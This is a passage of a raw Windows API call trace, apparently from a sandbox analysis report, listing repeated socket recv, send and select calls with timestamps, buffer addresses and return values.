[0119.744] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.745] SetLastError (dwErrCode=0x0) [0119.745] WSASetLastError (iError=0) [0119.745] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.745] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.745] rand () returned 16519 [0119.745] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.745] WSASetLastError (iError=0) [0119.745] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.745] SetLastError (dwErrCode=0x0) [0119.745] WSASetLastError (iError=0) [0119.745] recv (in: s=0x1d4, buf=0x865668, len=1816, flags=0 | out: buf=0x865668*) returned 1816 [0119.745] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 2 [0119.745] rand () returned 31556 [0119.745] rand () returned 22798 [0119.745] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.745] WSASetLastError (iError=0) [0119.745] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.745] SetLastError (dwErrCode=0x0) [0119.745] WSASetLastError (iError=0) [0119.745] recv (in: s=0x1d4, buf=0x865668, len=2280, flags=0 | out: buf=0x865668*) returned 251 [0119.745] SetLastError (dwErrCode=0x0) [0119.745] WSASetLastError (iError=0) [0119.745] recv (in: s=0x1d4, buf=0x865763, len=2029, flags=0 | out: buf=0x865763) returned -1 [0119.745] WSAGetLastError () returned 10035 [0119.745] GetCurrentThreadId () returned 0x918 [0119.745] WSASetLastError (iError=0) [0119.745] send (in: s=0x1d4, buf=0x8697b3*, len=543, flags=0 | out: buf=0x8697b3*) returned 543 [0119.745] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.746] rand () returned 30303 [0119.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.747] WSASetLastError (iError=0) [0119.747] recv (in: s=0x1d4, buf=0x865763, len=2029, flags=0 | out: buf=0x865763*) returned 2029 [0119.747] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.747] rand () returned 6224 [0119.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.747] WSASetLastError (iError=0) [0119.747] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.747] SetLastError (dwErrCode=0x0) [0119.747] WSASetLastError (iError=0) [0119.747] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.747] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.747] rand () returned 11008 [0119.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.747] WSASetLastError (iError=0) [0119.747] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.747] SetLastError (dwErrCode=0x0) [0119.747] WSASetLastError (iError=0) [0119.747] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.748] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.748] rand () returned 5844 [0119.748] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.748] WSASetLastError (iError=0) [0119.748] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.748] SetLastError (dwErrCode=0x0) [0119.748] WSASetLastError (iError=0) [0119.748] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 1428 [0119.748] SetLastError (dwErrCode=0x0) [0119.748] WSASetLastError (iError=0) [0119.748] recv (in: s=0x1d4, buf=0x865bfc, len=2644, flags=0 | out: buf=0x865bfc) returned -1 [0119.748] WSAGetLastError () returned 10035 [0119.748] GetCurrentThreadId () returned 0x918 [0119.748] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.749] rand () returned 32609 [0119.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.749] WSASetLastError (iError=0) [0119.749] recv (in: s=0x1d4, buf=0x865bfc, len=2644, flags=0 | out: buf=0x865bfc*) returned 2644 [0119.749] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.749] rand () returned 14989 [0119.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.749] WSASetLastError (iError=0) [0119.749] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.749] SetLastError (dwErrCode=0x0) [0119.749] WSASetLastError (iError=0) [0119.749] recv (in: s=0x1d4, buf=0x865668, len=2072, flags=0 | out: buf=0x865668*) returned 2072 [0119.749] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.749] rand () returned 32702 [0119.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.749] WSASetLastError (iError=0) [0119.749] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.749] SetLastError (dwErrCode=0x0) [0119.750] WSASetLastError (iError=0) [0119.750] recv (in: s=0x1d4, buf=0x865668, len=2024, flags=0 | out: buf=0x865668*) returned 2024 [0119.750] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.750] rand () returned 3195 [0119.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.750] WSASetLastError (iError=0) [0119.750] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.750] SetLastError (dwErrCode=0x0) [0119.750] WSASetLastError (iError=0) [0119.750] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.750] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.750] rand () returned 20485 [0119.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.750] WSASetLastError (iError=0) [0119.750] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.750] SetLastError (dwErrCode=0x0) [0119.750] WSASetLastError (iError=0) [0119.750] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 3688 [0119.750] SetLastError (dwErrCode=0x0) [0119.750] WSASetLastError (iError=0) [0119.750] recv (in: s=0x1d4, buf=0x8664d0, len=384, flags=0 | out: buf=0x8664d0) returned -1 [0119.750] WSAGetLastError () returned 10035 [0119.750] GetCurrentThreadId () returned 0x918 [0119.750] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.751] rand () returned 3093 [0119.751] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.751] WSASetLastError (iError=0) [0119.751] recv (in: s=0x1d4, buf=0x8664d0, len=384, flags=0 | out: buf=0x8664d0*) returned 384 [0119.752] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 2 [0119.752] rand () returned 14343 [0119.752] rand () returned 30523 [0119.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.752] WSASetLastError (iError=0) [0119.752] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.752] SetLastError (dwErrCode=0x0) [0119.752] WSASetLastError (iError=0) [0119.752] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.752] WSASetLastError (iError=0) [0119.752] send (in: s=0x1d4, buf=0x8697b3*, len=1057, flags=0 | out: buf=0x8697b3*) returned 1057 [0119.752] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.752] rand () returned 1587 [0119.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.752] WSASetLastError (iError=0) [0119.752] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.752] SetLastError (dwErrCode=0x0) [0119.753] WSASetLastError (iError=0) [0119.753] recv (in: s=0x1d4, buf=0x865668, len=2328, flags=0 | out: buf=0x865668*) returned 2328 [0119.753] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.753] rand () returned 29314 [0119.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.753] WSASetLastError (iError=0) [0119.753] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.753] SetLastError (dwErrCode=0x0) [0119.753] WSASetLastError (iError=0) [0119.753] recv (in: s=0x1d4, buf=0x865668, len=1768, flags=0 | out: buf=0x865668*) returned 1768 [0119.753] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.753] rand () returned 9503 [0119.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.753] WSASetLastError (iError=0) [0119.753] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.753] SetLastError (dwErrCode=0x0) [0119.753] WSASetLastError (iError=0) [0119.753] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 140 [0119.753] SetLastError (dwErrCode=0x0) [0119.753] WSASetLastError (iError=0) [0119.753] recv (in: s=0x1d4, buf=0x8656f4, len=3932, flags=0 | out: buf=0x8656f4) returned -1 [0119.753] WSAGetLastError () returned 10035 [0119.753] GetCurrentThreadId () returned 0x918 [0119.753] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.754] rand () returned 7448 [0119.754] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de5a1d0, dwHighDateTime=0x1d31ac1)) [0119.754] WSASetLastError (iError=0) [0119.754] recv (in: s=0x1d4, buf=0x8656f4, len=3932, flags=0 | out: buf=0x8656f4*) returned 3932 [0119.754] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.754] rand () returned 25200 [0119.754] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de5a1d0, dwHighDateTime=0x1d31ac1)) [0119.754] WSASetLastError (iError=0) [0119.754] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.754] SetLastError (dwErrCode=0x0) [0119.754] WSASetLastError (iError=0) [0119.754] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.754] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.754] rand () returned 13458 [0119.754] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de5a1d0, dwHighDateTime=0x1d31ac1)) [0119.755] WSASetLastError (iError=0) [0119.755] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.755] SetLastError (dwErrCode=0x0) [0119.755] WSASetLastError (iError=0) [0119.755] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.755] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.755] rand () returned 6618 [0119.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de5a1d0, dwHighDateTime=0x1d31ac1)) [0119.755] WSASetLastError (iError=0) [0119.755] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.755] SetLastError (dwErrCode=0x0) [0119.755] WSASetLastError (iError=0) [0119.755] recv (in: s=0x1d4, buf=0x865668, len=2584, flags=0 | out: buf=0x865668*) returned 2584 [0119.755] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.755] rand () returned 20580 [0119.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de5a1d0, dwHighDateTime=0x1d31ac1)) [0119.755] WSASetLastError (iError=0) [0119.755] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.755] SetLastError (dwErrCode=0x0) [0119.755] WSASetLastError (iError=0) [0119.755] recv (in: s=0x1d4, buf=0x865668, len=1512, flags=0 | out: buf=0x865668*) returned 1512 [0119.756] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.756] rand () returned 19796 [0119.756] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de5a1d0, dwHighDateTime=0x1d31ac1)) [0119.756] WSASetLastError (iError=0) [0119.756] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.756] SetLastError (dwErrCode=0x0) [0119.756] WSASetLastError (iError=0) [0119.756] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 2679 [0119.756] SetLastError (dwErrCode=0x0) [0119.756] WSASetLastError (iError=0) [0119.756] recv (in: s=0x1d4, buf=0x8660df, len=1393, flags=0 | out: buf=0x8660df) returned -1 [0119.756] WSAGetLastError () returned 10035 [0119.756] GetCurrentThreadId () returned 0x918 [0119.756] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.757] rand () returned 14798 [0119.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de5a1d0, dwHighDateTime=0x1d31ac1)) [0119.757] WSASetLastError (iError=0) [0119.757] recv (in: s=0x1d4, buf=0x8660df, len=1393, flags=0 | out: buf=0x8660df*) returned 1393 [0119.758] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 2 [0119.758] rand () returned 15281 [0119.758] rand () returned 19589 [0119.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de5a1d0, dwHighDateTime=0x1d31ac1)) [0119.758] WSASetLastError (iError=0) [0119.758] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.758] SetLastError (dwErrCode=0x0) [0119.758] WSASetLastError (iError=0) [0119.758] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.758] WSASetLastError (iError=0) [0119.758] send (in: s=0x1d4, buf=0x8697b3*, len=543, flags=0 | out: buf=0x8697b3*) returned 543 [0119.758] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.758] rand () returned 20798 [0119.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de5a1d0, dwHighDateTime=0x1d31ac1)) [0119.758] WSASetLastError (iError=0) [0119.758] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.758] SetLastError (dwErrCode=0x0) [0119.758] WSASetLastError (iError=0) [0119.758] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 169 [0119.758] SetLastError (dwErrCode=0x0) [0119.758] WSASetLastError (iError=0) [0119.758] recv (in: s=0x1d4, buf=0x865711, len=3903, flags=0 | out: buf=0x865711) returned -1 [0119.758] WSAGetLastError () returned 10035 [0119.758] GetCurrentThreadId () returned 0x918 [0119.758] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.775] rand () returned 28009 [0119.775] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de80330, dwHighDateTime=0x1d31ac1)) [0119.775] WSASetLastError (iError=0) [0119.775] recv (in: s=0x1d4, buf=0x865711, len=3903, flags=0 | out: buf=0x865711*) returned 3903 [0119.775] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.775] rand () returned 27157 [0119.775] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de80330, dwHighDateTime=0x1d31ac1)) [0119.775] WSASetLastError (iError=0) [0119.775] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.775] SetLastError (dwErrCode=0x0) [0119.775] WSASetLastError (iError=0) [0119.775] recv (in: s=0x1d4, buf=0x865668, len=2840, flags=0 | out: buf=0x865668*) returned 1900 [0119.775] SetLastError (dwErrCode=0x0) [0119.775] WSASetLastError (iError=0) [0119.775] recv (in: s=0x1d4, buf=0x865dd4, len=940, flags=0 | out: buf=0x865dd4) returned -1 [0119.775] WSAGetLastError () returned 10035 [0119.775] GetCurrentThreadId () returned 0x918 [0119.775] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.776] rand () returned 20472 [0119.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de80330, dwHighDateTime=0x1d31ac1)) [0119.776] WSASetLastError (iError=0) [0119.776] recv (in: s=0x1d4, buf=0x865dd4, len=940, flags=0 | out: buf=0x865dd4*) returned 940 [0119.776] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.776] rand () returned 23622 [0119.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de80330, dwHighDateTime=0x1d31ac1)) [0119.776] WSASetLastError (iError=0) [0119.776] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.776] SetLastError (dwErrCode=0x0) [0119.776] WSASetLastError (iError=0) [0119.776] recv (in: s=0x1d4, buf=0x865668, len=1256, flags=0 | out: buf=0x865668*) returned 1256 [0119.776] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.776] rand () returned 18538 [0119.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de80330, dwHighDateTime=0x1d31ac1)) [0119.776] WSASetLastError (iError=0) [0119.776] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.776] SetLastError (dwErrCode=0x0) [0119.776] WSASetLastError (iError=0) [0119.776] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 2150 [0119.776] SetLastError (dwErrCode=0x0) [0119.776] WSASetLastError (iError=0) [0119.776] recv (in: s=0x1d4, buf=0x865ece, len=1922, flags=0 | out: buf=0x865ece) returned -1 [0119.776] WSAGetLastError () returned 10035 [0119.776] GetCurrentThreadId () returned 0x918 [0119.776] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.777] rand () returned 12292 [0119.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de80330, dwHighDateTime=0x1d31ac1)) [0119.777] WSASetLastError (iError=0) [0119.777] recv (in: s=0x1d4, buf=0x865ece, len=1922, flags=0 | out: buf=0x865ece*) returned 1922 [0119.777] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.777] rand () returned 6038 [0119.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de80330, dwHighDateTime=0x1d31ac1)) [0119.777] WSASetLastError (iError=0) [0119.777] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.777] SetLastError (dwErrCode=0x0) [0119.777] WSASetLastError (iError=0) [0119.777] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 977 [0119.777] SetLastError (dwErrCode=0x0) [0119.777] WSASetLastError (iError=0) [0119.777] recv (in: s=0x1d4, buf=0x865a39, len=3095, flags=0 | out: buf=0x865a39*) returned 1452 [0119.777] SetLastError (dwErrCode=0x0) [0119.777] WSASetLastError (iError=0) [0119.777] recv (in: s=0x1d4, buf=0x865fe5, len=1643, flags=0 | out: buf=0x865fe5) returned -1 [0119.778] WSAGetLastError () returned 10035 [0119.778] GetCurrentThreadId () returned 0x918 [0119.778] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.778] rand () returned 24179 [0119.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de80330, dwHighDateTime=0x1d31ac1)) [0119.778] WSASetLastError (iError=0) [0119.778] recv (in: s=0x1d4, buf=0x865fe5, len=1643, flags=0 | out: buf=0x865fe5*) returned 1643 [0119.778] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.778] rand () returned 18190 [0119.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de80330, dwHighDateTime=0x1d31ac1)) [0119.778] WSASetLastError (iError=0) [0119.778] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.778] SetLastError (dwErrCode=0x0) [0119.778] WSASetLastError (iError=0) [0119.778] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 1256 [0119.778] SetLastError (dwErrCode=0x0) [0119.778] WSASetLastError (iError=0) [0119.778] recv (in: s=0x1d4, buf=0x865b50, len=2816, flags=0 | out: buf=0x865b50) returned -1 [0119.778] WSAGetLastError () returned 10035 [0119.778] GetCurrentThreadId () returned 0x918 [0119.778] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.778] rand () returned 29657 [0119.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de80330, dwHighDateTime=0x1d31ac1)) [0119.779] WSASetLastError (iError=0) [0119.779] recv (in: s=0x1d4, buf=0x865b50, len=2816, flags=0 | out: buf=0x865b50*) returned 2816 [0119.779] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 2 [0119.782] rand () returned 7958 [0119.782] rand () returned 6191 [0119.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de80330, dwHighDateTime=0x1d31ac1)) [0119.782] WSASetLastError (iError=0) [0119.782] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.782] SetLastError (dwErrCode=0x0) [0119.782] WSASetLastError (iError=0) [0119.782] recv (in: s=0x1d4, buf=0x865668, len=3096, flags=0 | out: buf=0x865668*) returned 3096 [0119.782] WSASetLastError (iError=0) [0119.782] send (in: s=0x1d4, 